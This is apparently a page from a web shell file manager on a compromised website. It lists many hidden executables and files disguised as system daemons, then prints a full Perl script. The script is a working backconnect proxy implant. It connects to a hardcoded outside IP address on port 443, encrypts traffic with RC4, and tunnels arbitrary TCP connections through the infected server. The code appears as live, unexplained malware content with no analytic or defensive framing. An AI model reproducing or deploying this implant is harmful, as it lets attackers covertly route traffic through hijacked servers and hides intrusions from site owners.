Gecko [ www.pepper-staffing.co.uk ]

Name	Size	Permission	Date
lsws	[ DIR ]	drwxr-x---	2026-06-18 08:36
.ParseHTML_1768910570	9.04 KB	-rwxr-xr-x	2026-01-20 12:02
.bind	734 B	-rw-r--r--	2025-06-13 00:16
.binding	4.17 KB	-rw-r--r--	2025-06-13 00:23
.changelog_	0 B	-rw-r--r--	2026-01-20 14:03
.comp	58 B	-rw-r--r--	2025-06-30 17:49
.component	4.22 KB	-rw-r--r--	2026-02-14 05:52
.constants_1768910571	9.04 KB	-rwxr-xr-x	2026-01-20 12:02
.dat	4.22 KB	-rw-r--r--	2026-02-14 06:00
.data	2.55 KB	-rw-r--r--	2025-08-13 03:08
.data_chunk	2.54 KB	-rw-r--r--	2025-09-03 18:45
.dchunk	1.27 KB	-rw-r--r--	2025-10-15 15:08
.desc	54 B	-rw-r--r--	2025-11-02 08:30
.descriptor	95 B	-rw-r--r--	2026-05-24 10:54
.elem	48 B	-rw-r--r--	2025-06-30 20:18
.element	2.36 KB	-rw-r--r--	2025-10-15 17:34
.ent	46 B	-rw-r--r--	2025-12-05 06:14
.entity	4.26 KB	-rw-r--r--	2025-10-15 17:08
.entry	299 B	-rw-r--r--	2026-04-08 07:10
.fac	54 B	-rw-r--r--	2025-06-23 06:16
.factor	2.54 KB	-rw-r--r--	2025-08-27 14:45
.flag	61 B	-rw-r--r--	2025-11-18 13:01
.flg	2.55 KB	-rw-r--r--	2025-08-27 14:42
.guestbook_	0 B	-rw-r--r--	2026-01-20 14:33
.hld	48 B	-rw-r--r--	2025-09-01 15:03
.holder	4.26 KB	-rw-r--r--	2025-10-11 17:37
.item	55 B	-rw-r--r--	2026-06-10 15:36
.itm	4.26 KB	-rw-r--r--	2025-10-22 05:03
.k	4.26 KB	-rw-r--r--	2025-09-09 01:36
.key	48 B	-rw-r--r--	2025-11-29 04:05
.marker	45 B	-rw-r--r--	2025-06-30 13:06
.mrk	50 B	-rw-r--r--	2026-01-21 17:33
.obj	52 B	-rw-r--r--	2025-06-30 13:00
.object	4.26 KB	-rw-r--r--	2025-10-11 11:26
.parameter_group	4.26 KB	-rw-r--r--	2025-10-14 12:54
.pgrp	49 B	-rw-r--r--	2025-08-01 06:00
.pointer	4.26 KB	-rw-r--r--	2025-11-16 22:48
.property_set	2.05 KB	-rw-r--r--	2025-10-09 13:39
.pset	59 B	-rw-r--r--	2025-09-01 14:58
.ptr	47 B	-rw-r--r--	2025-09-04 00:27
.rec	4.26 KB	-rw-r--r--	2025-10-12 16:48
.record	44 B	-rw-r--r--	2025-07-02 23:02
.ref	4.26 KB	-rw-r--r--	2025-10-14 02:50
.reference	4.26 KB	-rw-r--r--	2025-08-28 05:14
.res	46 B	-rw-r--r--	2025-08-28 01:33
.resource	51 B	-rw-r--r--	2025-12-05 06:36
.runner_00b839a6	4.88 MB	-rwxr-xr-x	2025-10-24 09:51
.runner_059a9c2e	4.68 MB	-rwxr-xr-x	2025-11-02 17:44
.runner_0946e2b5	4.44 MB	-rwxr-xr-x	2025-10-24 10:25
.runner_09da2b27	4.68 MB	-rwxr-xr-x	2025-11-02 01:44
.runner_11a08842	4.68 MB	-rwxr-xr-x	2025-11-02 23:44
.runner_124c4d21	4.68 MB	-rwxr-xr-x	2025-11-02 01:47
.runner_125cc80f	4.68 MB	-rwxr-xr-x	2025-11-01 14:48
.runner_19bc80f9	4.68 MB	-rwxr-xr-x	2025-11-02 18:44
.runner_238eb7a5	4.68 MB	-rwxr-xr-x	2025-11-01 14:43
.runner_254c93b8	4.68 MB	-rwxr-xr-x	2025-11-01 15:49
.runner_26e54f00	4.68 MB	-rwxr-xr-x	2025-11-03 00:47
.runner_2a181804	4.68 MB	-rwxr-xr-x	2025-11-01 10:02
.runner_2ce14a67	4.68 MB	-rwxr-xr-x	2025-11-02 05:47
.runner_2d7a6154	4.88 MB	-rwxr-xr-x	2025-10-24 11:54
.runner_2defa495	4.68 MB	-rwxr-xr-x	2025-11-01 23:44
.runner_2fb02a90	4.68 MB	-rwxr-xr-x	2025-11-03 01:47
.runner_30ac2ec2	4.88 MB	-rwxr-xr-x	2025-10-24 09:48
.runner_332e453e	4.44 MB	-rwxr-xr-x	2025-10-24 10:13
.runner_38c12bf8	4.68 MB	-rwxr-xr-x	2025-11-02 08:43
.runner_3af481fa	4.68 MB	-rwxr-xr-x	2025-11-02 04:43
.runner_3b9cbd12	4.68 MB	-rwxr-xr-x	2025-11-03 05:44
.runner_3cf628bc	4.68 MB	-rwxr-xr-x	2025-11-02 13:48
.runner_3d3268f1	4.68 MB	-rwxr-xr-x	2025-11-03 00:43
.runner_4403eb14	4.68 MB	-rwxr-xr-x	2025-11-02 11:48
.runner_47c801af	4.68 MB	-rwxr-xr-x	2025-11-01 11:36
.runner_4ab19ec9	4.68 MB	-rwxr-xr-x	2025-11-01 18:48
.runner_4ec4220c	4.68 MB	-rwxr-xr-x	2025-11-01 19:44
.runner_51b88384	4.68 MB	-rwxr-xr-x	2025-11-03 01:44
.runner_529fa408	4.68 MB	-rwxr-xr-x	2025-11-03 02:44
.runner_56099d3b	4.68 MB	-rwxr-xr-x	2025-11-02 14:43
.runner_585dc9ea	4.68 MB	-rwxr-xr-x	2025-11-02 00:48
.runner_598b4aa9	4.68 MB	-rwxr-xr-x	2025-11-02 20:48
.runner_5d719fbf	4.68 MB	-rwxr-xr-x	2025-11-01 13:44
.runner_5dddcc5b	4.68 MB	-rwxr-xr-x	2025-11-02 14:48
.runner_5f8ebf8b	4.68 MB	-rwxr-xr-x	2025-11-01 13:49
.runner_648b9d94	4.88 MB	-rwxr-xr-x	2025-10-24 09:37
.runner_65a15aea	4.68 MB	-rwxr-xr-x	2025-11-03 03:48
.runner_68a45ef1	4.68 MB	-rwxr-xr-x	2025-11-01 12:02
.runner_6ab7a008	4.68 MB	-rwxr-xr-x	2025-11-02 22:48
.runner_6bd951a1	4.68 MB	-rwxr-xr-x	2025-11-02 06:43
.runner_6c63871a	4.68 MB	-rwxr-xr-x	2025-11-01 11:02
.runner_6fea4521	4.68 MB	-rwxr-xr-x	2025-11-03 04:44
.runner_75833806	4.68 MB	-rwxr-xr-x	2025-11-01 17:44
.runner_7588dbc1	4.68 MB	-rwxr-xr-x	2025-11-02 10:48
.runner_79a722b6	4.68 MB	-rwxr-xr-x	2025-11-02 22:44
.runner_7a3f6780	4.68 MB	-rwxr-xr-x	2025-11-01 22:44
.runner_7c092135	4.68 MB	-rwxr-xr-x	2025-11-01 12:34
.runner_7ea4f5cf	4.88 MB	-rwxr-xr-x	2025-10-24 09:35
.runner_8298c1c1	4.68 MB	-rwxr-xr-x	2025-11-02 15:43
.runner_86411dce	4.68 MB	-rwxr-xr-x	2025-11-02 19:44
.runner_86e977c6	4.68 MB	-rwxr-xr-x	2025-11-03 04:47
.runner_875adb44	4.68 MB	-rwxr-xr-x	2025-11-02 16:48
.runner_89fcd9db	4.68 MB	-rwxr-xr-x	2025-11-01 18:44
.runner_8df3aa00	4.68 MB	-rwxr-xr-x	2025-11-02 23:47
.runner_8e9aac13	4.68 MB	-rwxr-xr-x	2025-11-02 02:47
.runner_8fe70e9b	4.88 MB	-rwxr-xr-x	2025-10-24 09:32
.runner_914a9819	4.68 MB	-rwxr-xr-x	2025-11-01 16:44
.runner_93367210	4.68 MB	-rwxr-xr-x	2025-11-01 23:48
.runner_9343a854	4.68 MB	-rwxr-xr-x	2025-11-01 09:36
.runner_93e9c357	4.68 MB	-rwxr-xr-x	2025-11-02 15:48
.runner_9741eb35	4.68 MB	-rwxr-xr-x	2025-11-01 12:44
.runner_9e567138	4.68 MB	-rwxr-xr-x	2025-11-02 09:43
.runner_9f8c91b9	4.68 MB	-rwxr-xr-x	2025-11-02 00:44
.runner_a4d5c220	4.68 MB	-rwxr-xr-x	2025-11-02 13:44
.runner_a4df04d4	4.68 MB	-rwxr-xr-x	2025-11-02 03:47
.runner_a977c70c	4.68 MB	-rwxr-xr-x	2025-11-02 16:43
.runner_aa659b3f	4.68 MB	-rwxr-xr-x	2025-11-02 09:48
.runner_ad192e3f	4.68 MB	-rwxr-xr-x	2025-11-02 07:43
.runner_aff89ccf	4.68 MB	-rwxr-xr-x	2025-11-02 02:43
.runner_b36dc806	4.68 MB	-rwxr-xr-x	2025-11-01 21:44
.runner_b5104097	4.88 MB	-rwxr-xr-x	2025-10-24 12:05
.runner_b55bbb00	4.68 MB	-rwxr-xr-x	2025-11-01 09:31
.runner_b9321cf6	4.68 MB	-rwxr-xr-x	2025-11-02 03:43
.runner_bc689003	4.88 MB	-rwxr-xr-x	2025-10-24 09:48
.runner_bfc5a7ed	4.68 MB	-rwxr-xr-x	2025-11-02 07:47
.runner_c06eb3f8	4.68 MB	-rwxr-xr-x	2025-11-02 18:48
.runner_c0a31d10	4.68 MB	-rwxr-xr-x	2025-11-01 15:44
.runner_c13b0a82	4.68 MB	-rwxr-xr-x	2025-11-01 09:32
.runner_c2396fa8	4.68 MB	-rwxr-xr-x	2025-11-02 12:43
.runner_c333c650	4.68 MB	-rwxr-xr-x	2025-11-02 11:43
.runner_c46a90ea	4.88 MB	-rwxr-xr-x	2025-10-24 09:38
.runner_cacaf751	4.68 MB	-rwxr-xr-x	2025-11-02 21:47
.runner_cb36969f	4.88 MB	-rwxr-xr-x	2025-10-24 12:10
.runner_cf29e117	4.68 MB	-rwxr-xr-x	2025-11-02 17:48
.runner_d1152111	4.68 MB	-rwxr-xr-x	2025-11-01 20:44
.runner_d128874a	4.68 MB	-rwxr-xr-x	2025-11-02 06:47
.runner_d188424e	4.44 MB	-rwxr-xr-x	2025-10-24 10:28
.runner_d5be7dcd	4.68 MB	-rwxr-xr-x	2025-11-02 19:48
.runner_d9ae253f	4.68 MB	-rwxr-xr-x	2025-11-02 12:48
.runner_daa1267d	4.68 MB	-rwxr-xr-x	2025-11-01 12:49
.runner_daef0aa0	4.68 MB	-rwxr-xr-x	2025-11-01 19:49
.runner_db512711	4.88 MB	-rwxr-xr-x	2025-10-24 09:44
.runner_df8c5a58	4.68 MB	-rwxr-xr-x	2025-11-01 17:48
.runner_e21902ee	4.68 MB	-rwxr-xr-x	2025-11-02 08:48
.runner_e5bd0f3d	4.68 MB	-rwxr-xr-x	2025-11-01 21:48
.runner_ea6efb01	4.68 MB	-rwxr-xr-x	2025-11-01 22:48
.runner_ebac14a5	4.68 MB	-rwxr-xr-x	2025-11-01 16:49
.runner_ed28653e	4.68 MB	-rwxr-xr-x	2025-11-02 10:43
.runner_ed4dc6cd	4.68 MB	-rwxr-xr-x	2025-11-01 20:48
.runner_f46f800f	4.68 MB	-rwxr-xr-x	2025-11-02 05:43
.runner_f7a149a4	4.88 MB	-rwxr-xr-x	2025-10-24 09:30
.runner_f97deacd	4.68 MB	-rwxr-xr-x	2025-11-03 02:47
.runner_fa227e07	4.68 MB	-rwxr-xr-x	2025-11-03 03:44
.runner_fd21234a	4.68 MB	-rwxr-xr-x	2025-11-02 20:44
.runner_fea22465	4.68 MB	-rwxr-xr-x	2025-11-02 04:47
.runner_ffb55146	4.68 MB	-rwxr-xr-x	2025-11-02 21:43
.sym	4.26 KB	-rw-r--r--	2025-10-09 17:53
.symbol	4.26 KB	-rw-r--r--	2025-09-09 01:30
.tkn	63 B	-rw-r--r--	2025-12-04 08:28
.token	53 B	-rw-r--r--	2026-04-22 09:23
.val	4.26 KB	-rw-r--r--	2025-08-29 05:22
.value	44 B	-rw-r--r--	2025-08-02 21:09
95gvcixj9apa.php	138 B	-rw-r--r--	2025-10-09 17:22
EBxHRPwsNw	12.55 KB	-rwxr-xr-x	2025-09-15 12:59
ISKlMeciKq	28.41 KB	-rwxr-xr-x	2025-09-15 10:16
PostgreSQL.1478089390	14.64 KB	-rw-------	2026-05-27 10:39
TbKlDotaAI	15.83 KB	-rwxr-xr-x	2025-09-15 10:16
UDToKKLvaI	21.45 KB	-rwxr-xr-x	2025-09-15 10:16
UGWxYSQuyC	13.72 KB	-rwxr-xr-x	2025-09-15 10:16
XpaKbxgfiO	12.55 KB	-rwxr-xr-x	2025-09-15 12:59
cScJbveKSH	12.55 KB	-rwxr-xr-x	2025-09-15 12:59
dbus-cache.pl	9.03 KB	-rwxr-xr-x	2025-12-10 21:04
kde-cache.so	9.03 KB	-rwxr-xr-x	2025-12-10 21:48
kqoGpDpuru	13.72 KB	-rwxr-xr-x	2025-09-15 14:40
l5zls1sa778y.php	138 B	-rw-r--r--	2025-10-07 23:57
lutQvwkarL	12.55 KB	-rwxr-xr-x	2025-09-15 12:59
oJYXmfHhSq	12.55 KB	-rwxr-xr-x	2025-09-15 12:59
rLMjaHEjUy	12.43 KB	-rwxr-xr-x	2025-09-15 12:59
systemd-daemon	9.03 KB	-rwxr-xr-x	2025-12-10 20:40
tlHUjNLHts	12.43 KB	-rwxr-xr-x	2025-09-15 12:59
udisks-daemon.sh	9.03 KB	-rwxr-xr-x	2025-12-10 21:44
udisks-helper.agent	9.03 KB	-rwxr-xr-x	2025-12-10 21:52
uifpp00ksuww.php	154 B	-rw-r--r--	2025-10-07 23:57
users.logs	4 B	-rw-r--r--	2025-12-02 15:33
zBWsSRhixB	12.43 KB	-rwxr-xr-x	2025-09-15 14:40
zpxBlsUYGK	12.55 KB	-rwxr-xr-x	2025-09-15 12:59
zuxAydOsYJ	12.86 KB	-rwxr-xr-x	2025-09-15 12:59

Rename

#!/usr/bin/perl

use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;

my $host = '36.255.98.159';
my $port = 443;

my $xordata = "\x00" x 50;

for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }

sub Rc4_crypt {
	 
	 my $passw = shift(@_);
	 
	 my $length = shift(@_);
	 
	 my $buff0 = shift(@_);
	 
	 my $start = shift(@_);
	 
	 my $sz = shift(@_);
	 
	 my $rc4 = "\x00" x 256;
	 
	 my $pockemon0 = 0;
	
	 my $pockemon1 = 0;
	
	 my $pockemon2 = 0;
	
	 my $pockemon3 = 0;
	
	 my $pockemon4 = 0;
	
	 my $pockemon5 = 0;
	
	 my $pockemon6 = 0;
	
	 my $pockemon7 = 0;
	
	 my $pockemon8 = 0;
	 
	 my $rcx = $sz;
	 
	 my $rsi = 0;
	 
	 my $rbx = 0;
	 
	 my $gs = 0;
	 
	 my $t = 0;
	 
	 for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
	 
	 do {
		 
		 substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
	
	 while(1) {
		 
		 if ($gs == 0) {
			 
			 $pockemon2 = 0;

$pockemon3 = $length;
		}
		 
		 if ($gs != 0) {
			 
			 $gs = 0;

$pockemon2++;

if (--$pockemon3 == 0) { next; }
			 
		}
		
		 $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
		 
		 $t = unpack('C', substr($$passw, $pockemon2, 1));

$pockemon1 += $t;

$pockemon1 = $pockemon1 & 255;

$pockemon1 += $pockemon7;

$pockemon1 = $pockemon1 & 255;

$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
		 
		 substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
		 
		 substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
		 
		 $pockemon0++;

$pockemon0 = $pockemon0 & 255;
		 
		 if ($pockemon0 != 0) {
			 
			 $gs = 1;
			 
			 next;
		}
		
		 $pockemon4 = $sz;

$pockemon1 = 0;

$pockemon0 = 0;

$pockemon2 = 0;

$pockemon3 = 0;
		 
		 while(1) {
			 
			 $pockemon2++;

$pockemon2 = $pockemon2 & 255;

$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
			 
			 $pockemon1 += $pockemon7;

$pockemon1 = $pockemon1 & 255;

$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));

substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
		 
			 substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);

$pockemon8 += $pockemon7;
	
			 $pockemon8 = $pockemon8 & 255;

$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
			 
			 $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));

$pockemon5 = $pockemon5 ^ $pockemon0;
			 
			 substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
			 
			 $pockemon3++;
			 
			 if (--$pockemon4 == 0)
			 {
				 last;
			 }
			 
		}
		 
		 last;
	}
	
	 $rsi = 0;
	
	 $rcx = $sz;
	
	 $rbx = 0;
	
	 do {
		 
		 substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
}

sub synsend {
		
	 my $cSocket = shift(@_);
	 
	 my $buffer = shift(@_);
	 
	 my $flags	= shift(@_);

open(my $fh, "<", '/dev/null');

flock($fh, LOCK_EX);
	 
	 # ===============================================
	 
	 send($cSocket, $buffer, $flags);
	 
	 # ===============================================
	 
	 flock($fh, LOCK_UN);

close($fh);
}

sub newConnection {
	
	my $num = shift(@_);
	
	my $socketarray = shift(@_);
	
	my $sSocket = shift(@_);
	
	my $cSocket = shift(@_);
	
	my $buff0 = shift(@_);
	
    threads->create( sub {
		
		my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
		
		my $domain = '';
		
		my $port = 0;
		
		my $_ret = 0;
		
		my $data = '';
		
		my $buffer = '';
		
		setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
		
		fcntl($cSocket, F_SETFL, O_NONBLOCK);
		
		if (unpack('C', substr($buff0, 7, 1)) == 3) {
			
			$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
			
			$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
			
		}
		
		elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
			
			$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
			
			$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
			
		}
		
		else {
			
			 goto close_;
		}
		
		 eval {
			 
			 my $paddr = sockaddr_in($port, inet_aton($domain));
		
			 connect($cSocket, $paddr);
		 
			 vec(my $win = '', fileno($cSocket), 1) = 1;

unless (select(undef, $win, undef, 10)) { goto close_; }
		 
			 fcntl($cSocket, F_SETFL, 0);
		 
			 substr($responce, 4, 1) = "\x00";
		 
			 $_ret = 1;
			 
		 };
		 
		 close_:
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
		 
		 synsend($sSocket, $responce, MSG_NOSIGNAL);
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 if ($_ret == 1) {
			 
			 while ($$socketarray[$num] == 1) {
				 
				 vec(my $rin = '', fileno($cSocket), 1) = 1;
				 
				 unless (select($rin, undef, undef, 1)) { next; }
				 
				 $data = '';

recv($cSocket, $data, 65530, 0);
	 
				 unless ($data) { last; }
				 
				 $buffer = pack('C', $num).pack('S', length($data)).$data;
				 
				 Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
		 
				 Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
				 
				 synsend($sSocket, $buffer, MSG_NOSIGNAL);
				 
			}
		}
		
		 $$socketarray[$num] = 0;
		 
		 close($cSocket);
		 
		 substr($responce, 1, 2) = "\x00\x00";
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
		
         threads->detach();
    });
}

sub bccnct {

my $host = shift(@_);
	 
	 my $port = shift(@_);
	 
	 my $remaining = 0;
	 
	 my $remaining4 = 0;
	 
	 my @socketarr;
	 
	 my @socketarray :shared;
	 
	 my $buffer = "\x00" x 100;
	 
	 my $buffernull = "\x00" x 3;
	 
	 my $buffer0 = '';
	 
	 my $isExit = 0;
	 
	 my $ecx = 0;
	 
	 my $eax = 0;
	 
	 my $data = '';
	 
	 my $_ret = 0;
	 
	 my $ebx = 0;
	 
	 my $edx = 0;
	 
	 socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
	 
	 setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
	 
	 my $paddr = sockaddr_in($$port, inet_aton($$host));
	 
	 unless(connect($socketarr[0], $paddr)) { goto close0; }
	 
	 substr($buffer, 0, 50) = $xordata;
	 
	 substr($buffer, 50, 2) = "\xFF\xFF";
	 
	 substr($buffer, 54, 11) = "Perl script";
	 
	 Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
	 
	 send($socketarr[0], $buffer, MSG_NOSIGNAL);
	 
	 while(1) {
		 
		 if ($remaining4 != 4) {
			 
			 vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
			 
			 my $ret = select($rin, undef, undef, 60);
			 
			 next if ($ret < 0);
			 
			 if ($ret == 0) {
				 
				 last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
				 
				 last if ($remaining != 0);
				 
				 last if ($remaining4 != 0);
				 
				 Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
				 
				 synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
				 
				 next;
			}
			 
		}
		 
		 if ($remaining != 0 || $remaining4 == 4) {
			 
			 if ($edx == 0) {
				 
				 if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
					 
					 $isExit = 1;
					 
					 last;
					 
				}
				 
				 elsif ($ebx < 200 && $ebx > 0) {
				 
					 $socketarray[$ebx] = 0;
				 
				}
			
			}
			
			else {
				
				 $ecx = $edx;
				
				 $ecx = $ecx - $remaining;
				 
				 $data = '';
				 
				 recv($socketarr[0], $data, $ecx, 0);
				
				 unless ($data) { last; }
				 
				 $remaining += length($data);
				 
				 $buffer0 .= $data;
				 
				 if ($edx == $remaining) {
					 
					 Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
					 
					 if (unpack('C', substr($buffer0, 0, 1)) == 0) {
						 
						 socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
						 
						 $socketarray[$ebx] = 1;
						 
						 newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
						 
					}
					
					 else {
						 
						 send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
						 
					}
					 
					 $remaining = 0;
				}
				
			}
			 
			 $remaining4 = 0;
			 
		}
		
		else {
			
			 if ($remaining4 == 0) { $buffer0 = ''; }
			
			 $eax = 4;
			
			 $eax = $eax - $remaining4;
			 
			 $data = '';
			 
			 recv($socketarr[0], $data, $eax, 0);
			 
			 unless ($data) { last; }
			 
			 $remaining4 += length($data);
			 
			 $buffer0 .= $data;
			 
			 $buffernull = "\x00" x 3;
			 
			 if ($remaining4 == 4) {
				 
				 Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
				 
				 $ebx = unpack('C', substr($buffer0, 1, 1));
				 
				 $edx = unpack('S', substr($buffer0, 2, 2));
			 
				 $_ret = 1;
			}
			
		}
	}
	
	 close0:
	 
	 close($socketarr[0]);
	 
	 for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
	 
	 sleep 10;
	 
	 if ($isExit == 1) { exit; }
	 
	 return $_ret;

}

bccnct(\$host, \$port);